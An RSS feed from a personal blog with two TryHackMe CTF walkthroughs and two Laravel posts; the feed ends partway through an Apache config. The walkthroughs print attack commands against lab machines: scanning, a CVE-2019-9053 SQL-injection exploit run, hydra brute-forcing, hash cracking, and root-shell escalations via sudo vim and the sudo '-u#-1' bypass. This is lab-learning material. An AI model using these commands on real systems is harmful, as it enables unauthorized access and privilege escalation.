<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Untitled Publication]]></title><description><![CDATA[Untitled Publication]]></description><link>https://blog.mgahed.com</link><generator>RSS for Node</generator><lastBuildDate>Wed, 18 Nov 2026 12:00:41 GMT</lastBuildDate><atom:link href="https://blog.mgahed.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Simple CTF Walkthrough]]></title><description><![CDATA[Step-by-step guide for a simple Capture The Flag challenge walkthrough using nmap, dirb, and exploiting known vulnerabilities]]></description><link>https://blog.mgahed.com/simple-ctf-walkthrough</link><guid isPermaLink="true">https://blog.mgahed.com/simple-ctf-walkthrough</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[thm]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><dc:creator><![CDATA[Abdelrhman Mgahed]]></dc:creator><pubDate>Thu, 09 Oct 2025 20:05:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760040212514/6d45c889-a4be-4500-b98d-751e59a1f709.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-enumeration">Enumeration</h3>
<pre><code class="lang-bash">sudo nmap -sT -sV -A -p- 10.10.134.123 -oN enum.txt
</code></pre>
<p>Result:</p>
<pre><code class="lang-bash">Nmap scan report <span class="hljs-keyword">for</span> 10.10.134.123
Host is up (0.20s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can<span class="hljs-string">'t get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.23.178.131
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X|5.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4.15 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:5
Aggressive OS guesses: Linux 4.15 (97%), Linux 4.4 (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.10 (91%), Linux 3.10 - 3.13 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   241.40 ms 10.23.0.1
2   241.53 ms 10.10.134.123

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span>
</code></pre>
<p>For port 1000 if we run <code>sudo nmap -sT -sV -A -p 1000 10.10.134.123</code> will find 2 services running on port 1000 so:</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">How many services are running under port 1000? <code>2</code></div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What is running on the higher port? <code>ssh</code> <mark>Running on port 2222</mark></div>
</div>

<h3 id="heading-dir-enum">Dir Enum</h3>
<p>Using gobuster, dirb or any similar tools (im going with dirb</p>
<pre><code class="lang-bash">dirb http://10.10.134.123
</code></pre>
<pre><code class="lang-bash">GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.134.123/ ----
+ http://10.10.134.123/index.html (CODE:200|SIZE:11321)                                                                            
+ http://10.10.134.123/robots.txt (CODE:200|SIZE:929)                                                                              
+ http://10.10.134.123/server-status (CODE:403|SIZE:301)                                                                           
==&gt; DIRECTORY: http://10.10.134.123/simple/                                                                                        

---- Entering directory: http://10.10.134.123/simple/ ----
==&gt; DIRECTORY: http://10.10.134.123/simple/admin/                                                                                  
==&gt; DIRECTORY: http://10.10.134.123/simple/assets/                                                                                 
==&gt; DIRECTORY: http://10.10.134.123/simple/doc/                                                                                    
+ http://10.10.134.123/simple/index.php (CODE:200|SIZE:19993)                                                                      
==&gt; DIRECTORY: http://10.10.134.123/simple/lib/                                                                                    
==&gt; DIRECTORY: http://10.10.134.123/simple/modules/                                                                                
==&gt; DIRECTORY: http://10.10.134.123/simple/tmp/                                                                                    
==&gt; DIRECTORY: http://10.10.134.123/simple/uploads/                                                                                

---- Entering directory: http://10.10.134.123/simple/admin/ ----
--&gt; Test                                                                                                                            + http://10.10.134.123/simple/admin/index.php (CODE:302|SIZE:0)                                                                    
==&gt; DIRECTORY: http://10.10.134.123/simple/admin/lang/
</code></pre>
<p>If we open <code>http://10.10.134.123/simple/</code> we will find the following</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760036037576/173f90e5-d26b-4013-87ae-413a4c2219d1.png" alt /></p>
<p>Small search with this cms version we will find <code>CVE-2019-9053</code></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What's the CVE you're using against the application? <code>CVE-2019-9053</code></div>
</div>

<p>In vulnerability details we will find its venerable with SQL Injection</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">To what kind of vulnerability is the application vulnerable? <code>sqli</code></div>
</div>

<h3 id="heading-sql-injection">SQL Injection</h3>
<ul>
<li><p>Find the exploitation <a target="_blank" href="https://www.exploit-db.com/exploits/46635">here</a> written in python2</p>
</li>
<li><p>Find common 10k common keywords <a target="_blank" href="https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt">here</a></p>
</li>
</ul>
<pre><code class="lang-bash">python CVE-2019-9053.py -u http://10.10.2.28/simple/ --crack -w 10k-most-common.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760038640199/e2ee9446-d0b1-4b33-9b85-7674a6730ec6.png" alt /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What's the password? <code>secret</code></div>
</div>

<h3 id="heading-ssh">SSH</h3>
<p>using username <code>mitch</code> and password <code>secret</code> we will try to login via ssh</p>
<pre><code class="lang-bash">ssh -p 2222 mith@10.10.134.123
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760039294056/79862099-4b29-4cd7-8904-2064b95be5a4.png" alt class="image--center mx-auto" /></p>
<p>Yep now i have ssh access</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760039392840/0f841dcc-859b-45f5-aa61-a37bb82826ba.png" alt /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What's the user flag? <code>G00d j0b, keep up!</code></div>
</div>

<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760039477787/024697cb-05cf-48b2-a4ac-96a19d9aabd5.png" alt /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Is there any other user in the home directory? What's its name? <code>sunbath</code></div>
</div>

<h3 id="heading-privilege-escalation">Privilege escalation</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760039561021/98aa8f0c-d783-4c24-b783-d1dbf99709e6.png" alt /></p>
<p>using <code>sudo -l</code> to see commands that we can execute with root privileges</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What can you leverage to spawn a privileged shell? <code>vim</code></div>
</div>

<p>Go to <a target="_blank" href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> to find how to escalate using vim</p>
<pre><code class="lang-bash">sudo vim -c <span class="hljs-string">':!/bin/sh'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760039810994/acf70bef-93c5-4564-8839-5aa05740697b.png" alt /></p>
<p>Now we have access with root user</p>
<p>inside <code>/root</code> we can find root.txt</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760039953666/72b96b36-3d8d-4a09-b5f4-e851daaba88f.png" alt /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">What's the root flag?<code>W3ll d0n3. You made it!</code></div>
</div>

<h3 id="heading-additional-found-vulnerability">Additional found vulnerability</h3>
<p><strong>ftp:</strong></p>
<p>We can find that we could login using ftp anonymously</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760037538408/69f9c423-38f8-406c-bfce-2e8fcfebb7bb.png" alt /></p>
<p>Found file <code>ForMitch.txt</code> . get it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760038793690/4b8b0648-5602-47ea-984b-7211240cd51e.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760038841580/22612d5a-8a1d-4a9e-9c5b-4691f7664da2.png" alt /></p>
]]></content:encoded></item><item><title><![CDATA[Agent Sudo CTF Walkthrough]]></title><description><![CDATA[Explore the Agent Sudo CTF walkthrough with detailed steps for enumeration, hash cracking, and securing access using Burp Suite and Hydra]]></description><link>https://blog.mgahed.com/thm-agent-sudo-ctf-walkthrough</link><guid isPermaLink="true">https://blog.mgahed.com/thm-agent-sudo-ctf-walkthrough</guid><category><![CDATA[thm]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[thm room]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Abdelrhman Mgahed]]></dc:creator><pubDate>Tue, 16 Sep 2025 17:33:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758044176695/1b2105a5-c7b0-442b-a409-e0d1763d0e6a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-enumeration">Enumeration</h3>
<pre><code class="lang-bash">nmap -sV -sT -A -p- 10.10.255.113
</code></pre>
<p>Result:</p>
<pre><code class="lang-plaintext"># Nmap 7.93 scan initiated Tue Sep 16 16:26:27 2025 as: nmap -sV -sT -A -p- -oN enum.txt 10.10.255.113
Nmap scan report for ip-10-10-255-113.eu-west-1.compute.internal (10.10.255.113)
Host is up (0.00071s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ef1f5d04d47795066072ecf058f2cc07 (RSA)
|   256 5e02d19ac4e7430662c19e25848ae7ea (ECDSA)
|_  256 2d005cb9fda8c8d880e3924f8b4f18e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 02:65:15:29:9B:71 (Unknown)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.13
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.71 ms ip-10-10-255-113.eu-west-1.compute.internal (10.10.255.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 16 16:26:41 2025 -- 1 IP address (1 host up) scanned in 14.75 seconds
</code></pre>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">1. How many open ports? <code>3</code></div>
</div>

<p>After opening the IP on the browser:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758040230552/fc771166-68d9-4348-ac74-c4b7f3e62f0b.png" alt /></p>
<p>From this message we can expect that we may use <code>user-agent</code> on header with the http request to find the Agent name (which is the 3rd flag)</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">2. How you redirect yourself to a secret page? <code>user-agent</code></div>
</div>

<p>Using Burp Suite:</p>
<p>Intercept the request</p>
<ul>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758040716864/02652ccc-eaa4-4c04-b9d5-202529900365.png" alt class="image--center mx-auto" /></p>
<p>  Send it to Intruder and modify <code>User-Agent</code> by adding var</p>
</li>
<li><p>Go to payloads then choose Brute forcer in payload type (take care of payload options as the img below then start attack</p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758041235920/36ea7a22-f732-4c14-8ca7-fb465d381d5e.png" alt class="image--center mx-auto" /></p>
<p>  We will find that when the User-Agent is <code>C</code> it redirects to <code>agent_C_attention.php</code></p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758041403640/411b8846-a643-483a-a7d7-7a6cbf7c0a12.png" alt class="image--center mx-auto" /></p>
<p>  After going to that page we can find the agent name</p>
</li>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758041571350/b4d0ace3-1acc-4e44-bcb5-66634fe57dd8.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">3. What is the agent name? <code>chris</code></div>
</div>

<h3 id="heading-hash-cracking-and-brute-force">Hash cracking and brute-force</h3>
<p>Using hydra</p>
<pre><code class="lang-bash">hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.255.113
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758041996017/f7405fd0-87fd-4655-8310-e96f615723e8.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">1. FTP password <code>crystal</code></div>
</div>

<p>Login using ftp</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758042124002/7063c2d0-bb72-4623-bfe0-25dc33cc1eed.png" alt class="image--center mx-auto" /></p>
<p>Get those 3 files</p>
<p>Open the text file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758042254306/53a155ce-c10d-4ae3-ba16-0963bdac8cc0.png" alt /></p>
<p>Using something like <code>foremost</code> or <code>steghide</code></p>
<pre><code class="lang-bash">foremost cutie.png
</code></pre>
<p>We will find zip file</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758042525993/3990e1c1-9bc2-4fca-add4-1e3f500494ce.png" alt /></p>
<p>use <code>zip2john</code> to extract the hash</p>
<pre><code class="lang-bash">zip2john 00000067.zip &gt; zip.hash
</code></pre>
<p>Then use <code>John</code> to crack the hash</p>
<pre><code class="lang-bash">john zip.hash
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758042948657/69d90fbe-7291-4411-9b6b-b1f53d4f647a.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">2. Zip file password <code>alien</code></div>
</div>

<p>After extracting the data in zip file we find text called <code>To_agentJ.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758043213876/d604e9de-c124-4c1b-92b7-d0a44df94515.png" alt /></p>
<p>It looks like <code>QXJlYTUx</code> encoded then we will try to decode it using base64</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> QXJlYTUx | base64 -d
</code></pre>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">3. steg password <code>Area51</code></div>
</div>

<p>Using steghide to extract data hidden in <code>cute-alien.jpg</code></p>
<pre><code class="lang-bash">steghide extract -sf cute-alien.jpg
</code></pre>
<p>Then we will find <code>message.txt</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758043453410/55ef5815-a86b-42dd-92c3-c539056bc816.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">4. Who is the other agent (in full name)? <code>james</code></div>
</div>

<p>Now lets try using ssh with username <code>james</code> and password <code>hackerrules!</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758043695795/d7f61cab-0d4f-4772-b4be-a8091c8e3bbc.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">5. SSH password <code>hackerrules!</code></div>
</div>

<h3 id="heading-capture-the-user-flag">Capture the user flag</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758052256001/40787803-b5ab-4286-8af0-d3dd72e37eee.png" alt /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">1. What is the user flag? <code>b03d975e8c92a7c04146cfa7a5a313c7</code></div>
</div>

<p>Exit ssh hen get the jpg file by the following command into your machine</p>
<pre><code class="lang-bash">sudo scp james@10.10.169.59:Alien_autospy.jpg ~/
</code></pre>
<p>This part for me not realistic as you should search with the image on google and find the answer which will be somehow <code>Roswell alien autopsy</code></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">2. What is the incident of the photo called? <code>Roswell alien autopsy</code></div>
</div>

<h3 id="heading-privilege-escalation">Privilege escalation</h3>
<p>Using following command to see sudo privileges that james have</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758053140429/6cdb11f6-2c4c-4fd4-b20f-faa129db05ac.png" alt class="image--center mx-auto" /></p>
<p>Quick Search for this sudo permission <code>bash</code> got me the cve</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">1. CVE number for the escalation <code>CVE-2019-14287</code></div>
</div>

<p>Run the following command</p>
<pre><code class="lang-bash">sudo -u<span class="hljs-comment">#-1 /bin/bash</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758053507691/61862f72-1a8e-40e7-a9a3-ebec154588ac.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758053640492/8ba3ce4e-4662-4aba-ba01-4f552b7faff3.png" alt class="image--center mx-auto" /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">2. b53a02f55b57d4439e3341834d70c062</div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">3. DesKel</div>
</div>]]></content:encoded></item><item><title><![CDATA[Laravel Reverb]]></title><description><![CDATA[Laravel Reverb is a first-party WebSocket server for Laravel applications.]]></description><link>https://blog.mgahed.com/laravel-reverb</link><guid isPermaLink="true">https://blog.mgahed.com/laravel-reverb</guid><category><![CDATA[Laravel]]></category><category><![CDATA[laravel-reverb]]></category><category><![CDATA[reverb]]></category><category><![CDATA[websockets]]></category><category><![CDATA[PHP]]></category><category><![CDATA[realtime]]></category><dc:creator><![CDATA[Abdelrhman Mgahed]]></dc:creator><pubDate>Thu, 25 Apr 2024 12:27:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1714047162464/63667878-6acf-496f-8a53-1a7a380a720f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Laravel Reverb is a first-party WebSocket server for Laravel applications.</p>
<p>In the following video you will learn how to use Laravel reverb in a very simple way</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=RfAtFQ0F4_A">https://www.youtube.com/watch?v=RfAtFQ0F4_A</a></div>
<p> </p>
<p>References:<br /><a target="_blank" href="https://laracasts.com/series/lukes-larabits/episodes/17">https://laracasts.com/series/lukes-larabits/episodes/17</a><br /><a target="_blank" href="https://laravel.com/docs/11.x/reverb">https://laravel.com/docs/11.x/reverb</a></p>
]]></content:encoded></item><item><title><![CDATA[Laravel sail]]></title><description><![CDATA[Sail with Apache server]]></description><link>https://blog.mgahed.com/laravel-sail</link><guid isPermaLink="true">https://blog.mgahed.com/laravel-sail</guid><category><![CDATA[Laravel]]></category><category><![CDATA[laravel sail]]></category><category><![CDATA[Docker]]></category><category><![CDATA[docker images]]></category><category><![CDATA[Docker compose]]></category><category><![CDATA[Dockerfile]]></category><category><![CDATA[PHP]]></category><category><![CDATA[apache]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Abdelrhman Mgahed]]></dc:creator><pubDate>Sat, 16 Mar 2024 14:51:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1710606441711/17e13cf4-7d7e-4b6f-91cf-5836c30b6d0f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Laravel Sail is a great choice for Dockerizing your Laravel app during development, making things easy. But using it on a real server requires caution. It's still in development mode, so it's not recommended for production environments.</p>
<p>After installing Laravel sail as mentioned in the <a target="_blank" href="https://laravel.com/docs/11.x/sail">documentation</a> you will find a <strong>docker-compose.yml</strong> file and the following is my sample example:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">services:</span>
    <span class="hljs-attr">laravel.test:</span>
        <span class="hljs-attr">build:</span>
            <span class="hljs-attr">context:</span> <span class="hljs-string">./vendor/laravel/sail/runtimes/8.3</span>
            <span class="hljs-attr">dockerfile:</span> <span class="hljs-string">Dockerfile</span>
            <span class="hljs-attr">args:</span>
                <span class="hljs-attr">WWWGROUP:</span> <span class="hljs-string">'${WWWGROUP}'</span>
        <span class="hljs-attr">image:</span> <span class="hljs-string">sail-8.2/app</span>
        <span class="hljs-attr">extra_hosts:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'host.docker.internal:host-gateway'</span>
        <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'81:80'</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'${VITE_PORT:-5173}:${VITE_PORT:-5173}'</span>
        <span class="hljs-attr">environment:</span>
            <span class="hljs-attr">WWWUSER:</span> <span class="hljs-string">'${WWWUSER}'</span>
            <span class="hljs-attr">LARAVEL_SAIL:</span> <span class="hljs-number">1</span>
            <span class="hljs-attr">XDEBUG_MODE:</span> <span class="hljs-string">'${SAIL_XDEBUG_MODE:-off}'</span>
            <span class="hljs-attr">XDEBUG_CONFIG:</span> <span class="hljs-string">'${SAIL_XDEBUG_CONFIG:-client_host=host.docker.internal}'</span>
            <span class="hljs-attr">IGNITION_LOCAL_SITES_PATH:</span> <span class="hljs-string">'${PWD}'</span>
        <span class="hljs-attr">volumes:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'.:/var/www/html'</span>
        <span class="hljs-attr">networks:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">sail</span>
        <span class="hljs-attr">depends_on:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">mysql</span>
    <span class="hljs-attr">mysql:</span>
        <span class="hljs-attr">image:</span> <span class="hljs-string">'mysql/mysql-server:8.0'</span>
        <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'${FORWARD_DB_PORT:-3307}:3306'</span>
        <span class="hljs-attr">environment:</span>
            <span class="hljs-attr">MYSQL_ROOT_PASSWORD:</span> <span class="hljs-string">'${DB_PASSWORD}'</span>
            <span class="hljs-attr">MYSQL_ROOT_HOST:</span> <span class="hljs-string">'%'</span>
            <span class="hljs-attr">MYSQL_DATABASE:</span> <span class="hljs-string">'${DB_DATABASE}'</span>
            <span class="hljs-attr">MYSQL_USER:</span> <span class="hljs-string">'${DB_USERNAME}'</span>
            <span class="hljs-attr">MYSQL_PASSWORD:</span> <span class="hljs-string">'${DB_PASSWORD}'</span>
            <span class="hljs-attr">MYSQL_ALLOW_EMPTY_PASSWORD:</span> <span class="hljs-number">1</span>
        <span class="hljs-attr">volumes:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'sail-mysql:/var/lib/mysql'</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">'./vendor/laravel/sail/database/mysql/create-testing-database.sh:/docker-entrypoint-initdb.d/10-create-testing-database.sh'</span>
        <span class="hljs-attr">networks:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">sail</span>
        <span class="hljs-attr">healthcheck:</span>
            <span class="hljs-attr">test:</span>
                <span class="hljs-bullet">-</span> <span class="hljs-string">CMD</span>
                <span class="hljs-bullet">-</span> <span class="hljs-string">mysqladmin</span>
                <span class="hljs-bullet">-</span> <span class="hljs-string">ping</span>
                <span class="hljs-bullet">-</span> <span class="hljs-string">'-p${DB_PASSWORD}'</span>
            <span class="hljs-attr">retries:</span> <span class="hljs-number">3</span>
            <span class="hljs-attr">timeout:</span> <span class="hljs-string">5s</span>
    <span class="hljs-attr">phpmyadmin:</span>
        <span class="hljs-attr">image:</span> <span class="hljs-string">'phpmyadmin:latest'</span>
        <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-number">8090</span><span class="hljs-string">:80</span>
        <span class="hljs-attr">networks:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">sail</span>
        <span class="hljs-attr">environment:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">PMA_ARBITRARY=1</span>
<span class="hljs-attr">networks:</span>
    <span class="hljs-attr">sail:</span>
        <span class="hljs-attr">driver:</span> <span class="hljs-string">bridge</span>
<span class="hljs-attr">volumes:</span>
    <span class="hljs-attr">sail-mysql:</span>
        <span class="hljs-attr">driver:</span> <span class="hljs-string">local</span>
</code></pre>
<p>In the example you will find that:</p>
<ol>
<li><p>Laravel app itself running on port 81</p>
</li>
<li><p>mysql running on port 3307</p>
</li>
<li><p>phpmyadmin running on port 8090</p>
</li>
</ol>
<p>So your website will run as https://yoursite.com:81, And sub pages will be like https://yoursite.com:81/sub-page. This will be annoying and not good for SEO, So we need to handle it on server configurations using proxy.</p>
<p>I will give an example to handle it using Apache.</p>
<p>On server go to Apache conf path usually it will be on <code>/etc/apache2/sites-available</code></p>
<p>Here you will find my conf example.</p>
<pre><code class="lang-apache"><span class="hljs-section">&lt;IfModule mod_ssl.c&gt;</span>
<span class="hljs-section">&lt;VirtualHost *<span class="hljs-number">:443</span>&gt;</span>
    <span class="hljs-attribute"><span class="hljs-nomarkup">ServerName</span></span> yoursite.com

    <span class="hljs-attribute">SSLEngine</span> <span class="hljs-literal">on</span>
    <span class="hljs-attribute">ProxyPreserveHost</span> <span class="hljs-literal">On</span>
    <span class="hljs-attribute">ProxyRequests</span> <span class="hljs-literal">Off</span>
    <span class="hljs-section">&lt;Proxy *&gt;</span>
        <span class="hljs-attribute"><span class="hljs-nomarkup">Order</span></span> <span class="hljs-literal">deny</span>,<span class="hljs-literal">allow</span>
        <span class="hljs-attribute"><span class="hljs-nomarkup">Allow</span></span> from <span class="hljs-literal">all</span>
    <span class="hljs-section">&lt;/Proxy&gt;</span>

    <span class="hljs-attribute">ProxyPass</span> / http://yoursite.com:<span class="hljs-number">81</span>/
    <span class="hljs-attribute">ProxyPassReverse</span> / http://yoursite.com:<span class="hljs-number">81</span>/
    <span class="hljs-section">&lt;Location /&gt;</span>
        <span class="hljs-attribute"><span class="hljs-nomarkup">Order</span></span> <span class="hljs-literal">allow</span>,<span class="hljs-literal">deny</span>
        <span class="hljs-attribute"><span class="hljs-nomarkup">Allow</span></span> from <span class="hljs-literal">all</span>
    <span class="hljs-section">&lt;/Location&gt;</span>
<span class="hljs-attribute">SSLCertificateFile</span> /etc/letsencrypt/live/yoursite.com/fullchain.pem
<span class="hljs-attribute">SSLCertificateKeyFile</span> /etc/letsencrypt/live/yoursite.com/privkey.pem
<span class="hljs-attribute">Include</span> /etc/letsencrypt/options-ssl-apache.conf
<span class="hljs-section">&lt;/VirtualHost&gt;</span>
<span class="hljs-section">&lt;/IfModule&gt;</span>
</code></pre>
<p>This example is using proxypass so now your site will run Laravel sail without displaying the port</p>
<p>Note that this Apache conf file is related to SSL conf file only. Conf file without SSL conf as follow:</p>
<pre><code class="lang-apache"><span class="hljs-section">&lt;VirtualHost *<span class="hljs-number">:80</span>&gt;</span>
    <span class="hljs-attribute"><span class="hljs-nomarkup">ServerName</span></span> yoursite.com

    <span class="hljs-attribute">ProxyPreserveHost</span> <span class="hljs-literal">On</span>
    <span class="hljs-attribute">ProxyRequests</span> <span class="hljs-literal">Off</span>
    <span class="hljs-section">&lt;Proxy *&gt;</span>
